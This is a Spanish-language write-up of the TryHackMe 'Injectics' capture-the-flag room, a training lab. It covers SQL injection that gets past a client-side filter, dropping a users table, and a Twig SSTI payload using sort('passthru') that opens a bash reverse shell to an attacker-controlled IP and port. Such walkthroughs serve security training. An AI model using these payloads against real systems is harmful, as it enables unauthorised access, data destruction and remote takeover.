Injectics | Try Hack Me

En este tutorial voy a mostrar como logré resolver la máquina "Injectics" de Try Hack Me. Esta propiedad se presenta como un desafío de nivel medio.

645b19f5d5848d004ab9c9e2-1721317107138

14 de noviembre de 2024

Enumeración


Para comenzar voy a realizar un escaneo de puertos con nmap:

nmap

Veo que se encuentran abiertos los puertos 22 y 80. Voy a ingresar en la página web para ver de qué se trata.

web

Al revisar el código fuente veo que hay una carpeta que almacena mails:

mail log

Al ingresar me encuentro con una lista de mails y contraseñas:

credentials

Por lo visto son credenciales predeterminadas que se configuran en caso de que la tabla ‘users’ sea eliminada.

En la barra de navegación hay una opción para loguearse, voy a hacer click ahí para intentar usar estas credenciales, pero no hubo caso. También probé una inyección simple como ‘ or 1=1 – pero no permite ingresar ciertas palabras clave como “or”, “and” o comillas.

login

Al revisar el código fuente vi que hay un archivo javascript el cual contiene el código que bloquea esas palabras clave y caracteres. Esto me hizo pensar que esa protección funciona solo del lado del cliente, con lo cual si uso burpsuite me puedo saltar esa protección ya que envió la petición directamente al servidor.

Lo que voy a hacer es interceptar la conexión con burpsuite y enviar una inyección simple:

repeater

Al probarla en repeater veo que tuvo éxito, así que voy a enviar la petición para ingresar.

dev login

Una vez dentro veo que tengo la posibilidad de editar la cantidad de medallas de cada país.

edit

Lo que puedo hacer ahora es interceptar la petición con burpsuit y ver si puede ejecutar una secuencia para lograr eliminar la tabla ‘users’:

drop users

Y recibo el siguiente mensaje en el que se confirma la eliminación de la tabla:

drop

Ahora es importante dirigirse a la sección de login admin para ingresar con las credenciales que se encuentran en /mail.log. Es importante hacerlo rápido ya que estas credenciales solo funcionan mientras la tabla ‘users’ este eliminada y por lo visto en el mensaje anterior la tabla se restaura en un máximo de 2 minutos.

flag

Al dirigirme a la sección profile, veo que me permite modificar algunos datos como el nombre, y por lo que vi en la página del home al ingresar me devuelve un mensaje “Welcome, admin!”, voy a probar modificando el nombre por “{{7*7}}” para ver si es vulnerable a SSTI

ssrfresult ssrf

Por lo visto es vulnerable a SSTI, voy a aprovechar esta vulnerabilidad para realizar una reverse Shell y así poder conectarme al puerto 22 de forma remota para obtener la bandera que resta.

Explotación


Por lo que pude comprobar la plantilla está en modo seguro, con lo cual hay muchas funciones que no me permite ejecutar. Buscando en internet encontré que puedo usar la función ‘passthru’ junto con el método ‘sort’ y de esta manera burlar la seguridad.

Voy a ingresar el siguiente comando para realizar la reverse Shell (previamente cree un puerto de escucha con netcat):

{{ ['bash -c "bash -i >& /dev/tcp/{tu_ip}/{tu_puerto} 0>&1"', '']|sort('passthru') }}

Al darle en ‘submit’ y actualizar el home se establece la conexión:

command reversereverse

Ahora solo resta hallar la bandera:

flag2

Espero que este tutorial te haya ayudado!